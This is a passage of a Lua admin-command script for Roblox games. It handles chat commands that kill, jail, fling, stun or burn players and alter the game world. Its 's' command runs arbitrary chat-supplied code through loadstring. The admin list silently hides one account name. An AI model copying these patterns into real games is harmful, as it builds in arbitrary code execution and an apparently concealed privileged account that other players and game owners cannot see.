  2579. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  2580. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  2581. local ost = {"pa plr","unpa plr"}
  2582. local tost = {"oa plr","unoa plr"}
  2583. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  2584. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2585. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2586. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2587. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2588. end
  2589.  
  2590. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  2591.  
  2592. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  2593. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  2594. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  2595. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2596. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2597. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2598. end end
  2599.  
  2600. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  2601. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  2602. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  2603. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2604. end
  2605.  
  2606. if msg:lower() == "tools" or msg:lower() == "toollist" then
  2607. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  2608. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  2609. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  2610. end
  2611.  
  2612. if msg:lower():sub(1,2) == "s " then
  2613. coroutine.resume(coroutine.create(function()
  2614. Output(msg:sub(3), plr)
  2615. if script:findFirstChild("ScriptBase") then
  2616. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  2617. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2618. else loadstring(msg:sub(3))()
  2619. end
  2620. end))
  2621. end
  2622.  
  2623. if msg:lower():sub(1,3) == "ls " then
  2624. coroutine.resume(coroutine.create(function()
  2625. if script:findFirstChild("LocalScriptBase") then
  2626. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  2627. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  2628. end
  2629. end))
  2630. end
  2631.  
  2632. if msg:lower():sub(1,4) == "ins " then
  2633. coroutine.resume(coroutine.create(function()
  2634. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  2635. if obj and #obj:children() >= 1 and plr.Character then
  2636. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  2637. end
  2638. end))
  2639. end
  2640.  
  2641. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  2642. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  2643. objects = {}
  2644. end
  2645.  
  2646. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  2647. game.Lighting.Ambient = origsettings.abt
  2648. game.Lighting.Brightness = origsettings.brt
  2649. game.Lighting.TimeOfDay = origsettings.time
  2650. game.Lighting.FogColor = origsettings.fclr
  2651. game.Lighting.FogEnd = origsettings.fe
  2652. game.Lighting.FogStart = origsettings.fs
  2653. for i, v in pairs(lobjs) do v:Destroy() end
  2654. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  2655. end
  2656.  
  2657. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  2658. coroutine.resume(coroutine.create(function()
  2659. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2660. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2661. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2662. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2663. end))
  2664. end
  2665.  
  2666. if msg:lower():sub(1,2) == "m " then
  2667. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  2668. end
  2669.  
  2670. if msg:lower():sub(1,2) == "h " then
  2671. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  2672. end
  2673.  
  2674. if msg:lower():sub(1,3) == "pm " then
  2675. local chk1 = msg:lower():sub(4):find(" ") + 3
  2676. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2677. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  2678. end
  2679.  
  2680. if msg:lower():sub(1,11) == "resetstats " then
  2681. local plrz = GetPlr(plr, msg:lower():sub(12))
  2682. for i, v in pairs(plrz) do
  2683. coroutine.resume(coroutine.create(function()
  2684. if v and v:findFirstChild("leaderstats") then
  2685. for a, q in pairs(v.leaderstats:children()) do
  2686. if q:IsA("IntValue") then q.Value = 0 end
  2687. end
  2688. end
  2689. end))
  2690. end
  2691. end
  2692.  
  2693. if msg:lower():sub(1,5) == "gear " then
  2694. local chk1 = msg:lower():sub(6):find(" ") + 5
  2695. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  2696. for i, v in pairs(plrz) do
  2697. coroutine.resume(coroutine.create(function()
  2698. if v and v.Character then
  2699. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  2700. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  2701. obj:Destroy()
  2702. end
  2703. end))
  2704. end
  2705. end
  2706.  
  2707. if msg:lower():sub(1,4) == "hat " then
  2708. local chk1 = msg:lower():sub(5):find(" ") + 4
  2709. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  2710. for i, v in pairs(plrz) do
  2711. coroutine.resume(coroutine.create(function()
  2712. if v and v.Character then
  2713. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  2714. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  2715. obj:Destroy()
  2716. end
  2717. end))
  2718. end
  2719. end
  2720.  
  2721. if msg:lower():sub(1,5) == "cape " then
  2722. local chk1 = msg:lower():sub(6):find(" ")
  2723. local plrz = GetPlr(plr, msg:lower():sub(6))
  2724. local str = "torso.BrickColor"
  2725. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2726. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  2727. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  2728. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  2729. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  2730. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  2731. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  2732. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  2733. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  2734. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  2735. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  2736. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  2737. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  2738. if BrickColor.new(teststr) ~= nil then str = teststr end
  2739. end
  2740. for i, v in pairs(plrz) do
  2741. coroutine.resume(coroutine.create(function()
  2742. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  2743. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  2744. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  2745. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2746. local torso = plr.Character.Torso
  2747. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2748. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  2749. p.Size = Vector3.new(.2,.2,.2)
  2750. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2751. local motor1 = Instance.new("Motor", p)
  2752. motor1.Part0 = p
  2753. motor1.Part1 = torso
  2754. motor1.MaxVelocity = .01
  2755. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  2756. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2757. local wave = false
  2758. repeat wait(1/44)
  2759. local ang = 0.1
  2760. local oldmag = torso.Velocity.magnitude
  2761. local mv = .002
  2762. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2763. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2764. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2765. motor1.DesiredAngle = -ang
  2766. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2767. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2768. if torso.Velocity.magnitude < .1 then wait(.1) end
  2769. until not p or p.Parent ~= torso.Parent
  2770. script:Destroy()
  2771. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  2772. end
  2773. end))
  2774. end
  2775. end
  2776.  
  2777. if msg:lower():sub(1,7) == "uncape " then
  2778. local plrz = GetPlr(plr, msg:lower():sub(8))
  2779. for i, v in pairs(plrz) do
  2780. coroutine.resume(coroutine.create(function()
  2781. if v and v:findFirstChild("PlayerGui") and v.Character then
  2782. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  2783. end
  2784. end))
  2785. end
  2786. end
  2787.  
  2788. if msg:lower():sub(1,7) == "noclip " then
  2789. local plrz = GetPlr(plr, msg:lower():sub(8))
  2790. for i, v in pairs(plrz) do
  2791. coroutine.resume(coroutine.create(function()
  2792. if v and v:findFirstChild("PlayerGui") then
  2793. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  2794. cl.Parent = v.PlayerGui cl.Disabled = false
  2795. end
  2796. end))
  2797. end
  2798. end
  2799.  
  2800. if msg:lower():sub(1,5) == "clip " then
  2801. local plrz = GetPlr(plr, msg:lower():sub(6))
  2802. for i, v in pairs(plrz) do
  2803. coroutine.resume(coroutine.create(function()
  2804. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2805. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  2806. v.Character.Torso.Anchored = false
  2807. wait(.1) v.Character.Humanoid.PlatformStand = false
  2808. end
  2809. end))
  2810. end
  2811. end
  2812.  
  2813. if msg:lower():sub(1,5) == "jail " then
  2814. local plrz = GetPlr(plr, msg:lower():sub(6))
  2815. for i, v in pairs(plrz) do
  2816. coroutine.resume(coroutine.create(function()
  2817. if v and v.Character and v.Character:findFirstChild("Torso") then
  2818. local vname = v.Name
  2819. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  2820. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  2821. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  2822. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  2823. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  2824. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  2825. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  2826. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  2827. end)
  2828. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  2829. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  2830. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  2831. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  2832. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  2833. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  2834. local msh2 = msh:Clone() msh2.Parent = back
  2835. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  2836. local msh4 = msh3:Clone() msh4.Parent = left
  2837. v.Character.Torso.CFrame = cf
  2838. end
  2839. end))
  2840. end
  2841. end
  2842.  
  2843. if msg:lower():sub(1,7) == "unjail " then
  2844. local plrz = GetPlr(plr, msg:lower():sub(8))
  2845. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  2846. end
  2847.  
  2848. if msg:lower():sub(1,11) == "starttools " then
  2849. local plrz = GetPlr(plr, msg:lower():sub(12))
  2850. for i, v in pairs(plrz) do
  2851. coroutine.resume(coroutine.create(function()
  2852. if v and v:findFirstChild("Backpack") then
  2853. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  2854. end
  2855. end))
  2856. end
  2857. end
  2858.  
  2859. if msg:lower():sub(1,6) == "sword " then
  2860. local plrz = GetPlr(plr, msg:lower():sub(7))
  2861. for i, v in pairs(plrz) do
  2862. coroutine.resume(coroutine.create(function()
  2863. if v and v:findFirstChild("Backpack") then
  2864. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  2865. sword.GripForward = Vector3.new(-1,0,0)
  2866. sword.GripPos = Vector3.new(0,0,-1.5)
  2867. sword.GripRight = Vector3.new(0,1,0)
  2868. sword.GripUp = Vector3.new(0,0,1)
  2869. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  2870. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  2871. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  2872. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  2873. local Damage = 15
  2874. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  2875. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  2876. SlashSound.Volume = 1
  2877. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  2878. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  2879. LungeSound.Volume = 1
  2880. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  2881. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  2882. UnsheathSound.Volume = 1
  2883. local last = 0
  2884. script.Parent.Handle.Touched:connect(function(hit)
  2885. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  2886. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  2887. hit.Parent.Humanoid:TakeDamage(Damage)
  2888. end
  2889. end)
  2890. script.Parent.Activated:connect(function()
  2891. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  2892. script.Parent.Enabled = false
  2893. local tick = game:service("RunService").Stepped:wait()
  2894. if tick - last <= .2 then
  2895. LungeSound:play()
  2896. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  2897. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  2898. wait(.2)
  2899. script.Parent.GripForward = Vector3.new(0,0,1)
  2900. script.Parent.GripRight = Vector3.new(0,-1,0)
  2901. script.Parent.GripUp = Vector3.new(-1,0,0)
  2902. wait(.3)
  2903. frc:Destroy() wait(.5)
  2904. script.Parent.GripForward = Vector3.new(-1,0,0)
  2905. script.Parent.GripRight = Vector3.new(0,1,0)
  2906. script.Parent.GripUp = Vector3.new(0,0,1)
  2907. else
  2908. SlashSound:play()
  2909. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  2910. end
  2911. last = tick
  2912. script.Parent.Enabled = true
  2913. end)
  2914. script.Parent.Equipped:connect(function(mouse)
  2915. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  2916. UnsheathSound:play()
  2917. script.Parent.Enabled = true
  2918. if not mouse then return end
  2919. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  2920. end)]] cl.Disabled = false
  2921. end
  2922. end))
  2923. end
  2924. end
  2925.  
  2926. if msg:lower():sub(1,5) == "kill " then
  2927. local plrz = GetPlr(plr, msg:lower():sub(6))
  2928. for i, v in pairs(plrz) do
  2929. coroutine.resume(coroutine.create(function()
  2930. if v and v.Character then v.Character:BreakJoints() end
  2931. end))
  2932. end
  2933. end
  2934.  
  2935. if msg:lower():sub(1,8) == "respawn " then
  2936. local plrz = GetPlr(plr, msg:lower():sub(9))
  2937. for i, v in pairs(plrz) do
  2938. coroutine.resume(coroutine.create(function()
  2939. if v and v.Character then v:LoadCharacter() end
  2940. end))
  2941. end
  2942. end
  2943.  
  2944. if msg:lower():sub(1,5) == "trip " then
  2945. local plrz = GetPlr(plr, msg:lower():sub(6))
  2946. for i, v in pairs(plrz) do
  2947. coroutine.resume(coroutine.create(function()
  2948. if v and v.Character and v.Character:findFirstChild("Torso") then
  2949. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  2950. end
  2951. end))
  2952. end
  2953. end
  2954.  
  2955. if msg:lower():sub(1,5) == "stun " then
  2956. local plrz = GetPlr(plr, msg:lower():sub(6))
  2957. for i, v in pairs(plrz) do
  2958. coroutine.resume(coroutine.create(function()
  2959. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2960. v.Character.Humanoid.PlatformStand = true
  2961. end
  2962. end))
  2963. end
  2964. end
  2965.  
  2966. if msg:lower():sub(1,7) == "unstun " then
  2967. local plrz = GetPlr(plr, msg:lower():sub(8))
  2968. for i, v in pairs(plrz) do
  2969. coroutine.resume(coroutine.create(function()
  2970. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2971. v.Character.Humanoid.PlatformStand = false
  2972. end
  2973. end))
  2974. end
  2975. end
  2976.  
  2977. if msg:lower():sub(1,5) == "jump " then
  2978. local plrz = GetPlr(plr, msg:lower():sub(6))
  2979. for i, v in pairs(plrz) do
  2980. coroutine.resume(coroutine.create(function()
  2981. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2982. v.Character.Humanoid.Jump = true
  2983. end
  2984. end))
  2985. end
  2986. end
  2987.  
  2988. if msg:lower():sub(1,4) == "sit " then
  2989. local plrz = GetPlr(plr, msg:lower():sub(5))
  2990. for i, v in pairs(plrz) do
  2991. coroutine.resume(coroutine.create(function()
  2992. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2993. v.Character.Humanoid.Sit = true
  2994. end
  2995. end))
  2996. end
  2997. end
  2998.  
  2999. if msg:lower():sub(1,10) == "invisible " then
  3000. local plrz = GetPlr(plr, msg:lower():sub(11))
  3001. for i, v in pairs(plrz) do
  3002. coroutine.resume(coroutine.create(function()
  3003. if v and v.Character then
  3004. for a, obj in pairs(v.Character:children()) do
  3005. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  3006. end
  3007. end
  3008. end))
  3009. end
  3010. end
  3011.  
  3012. if msg:lower():sub(1,8) == "visible " then
  3013. local plrz = GetPlr(plr, msg:lower():sub(9))
  3014. for i, v in pairs(plrz) do
  3015. coroutine.resume(coroutine.create(function()
  3016. if v and v.Character then
  3017. for a, obj in pairs(v.Character:children()) do
  3018. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  3019. end
  3020. end
  3021. end))
  3022. end
  3023. end
  3024.  
  3025. if msg:lower():sub(1,5) == "lock " then
  3026. local plrz = GetPlr(plr, msg:lower():sub(6))
  3027. for i, v in pairs(plrz) do
  3028. coroutine.resume(coroutine.create(function()
  3029. if v and v.Character then
  3030. for a, obj in pairs(v.Character:children()) do
  3031. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  3032. end
  3033. end
  3034. end))
  3035. end
  3036. end
  3037.  
  3038. if msg:lower():sub(1,7) == "unlock " then
  3039. local plrz = GetPlr(plr, msg:lower():sub(8))
  3040. for i, v in pairs(plrz) do
  3041. coroutine.resume(coroutine.create(function()
  3042. if v and v.Character then
  3043. for a, obj in pairs(v.Character:children()) do
  3044. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  3045. end
  3046. end
  3047. end))
  3048. end
  3049. end
  3050.  
  3051. if msg:lower():sub(1,8) == "explode " then
  3052. local plrz = GetPlr(plr, msg:lower():sub(9))
  3053. for i, v in pairs(plrz) do
  3054. coroutine.resume(coroutine.create(function()
  3055. if v and v.Character and v.Character:findFirstChild("Torso") then
  3056. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  3057. end
  3058. end))
  3059. end
  3060. end
  3061.  
  3062. if msg:lower():sub(1,4) == "age " then
  3063. local plrz = GetPlr(plr, msg:lower():sub(5))
  3064. for i, v in pairs(plrz) do
  3065. coroutine.resume(coroutine.create(function()
  3066. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  3067. end))
  3068. end
  3069. end
  3070.  
  3071. if msg:lower():sub(1,5) == "fire " then
  3072. local plrz = GetPlr(plr, msg:lower():sub(6))
  3073. for i, v in pairs(plrz) do
  3074. coroutine.resume(coroutine.create(function()
  3075. if v and v.Character and v.Character:findFirstChild("Torso") then
  3076. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  3077. end
  3078. end))
  3079. end
  3080. end
  3081.  
  3082. if msg:lower():sub(1,7) == "unfire " then
  3083. local plrz = GetPlr(plr, msg:lower():sub(8))
  3084. for i, v in pairs(plrz) do
  3085. coroutine.resume(coroutine.create(function()
  3086. if v and v.Character and v.Character:findFirstChild("Torso") then
  3087. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  3088. end
  3089. end))
  3090. end
  3091. end
  3092.  
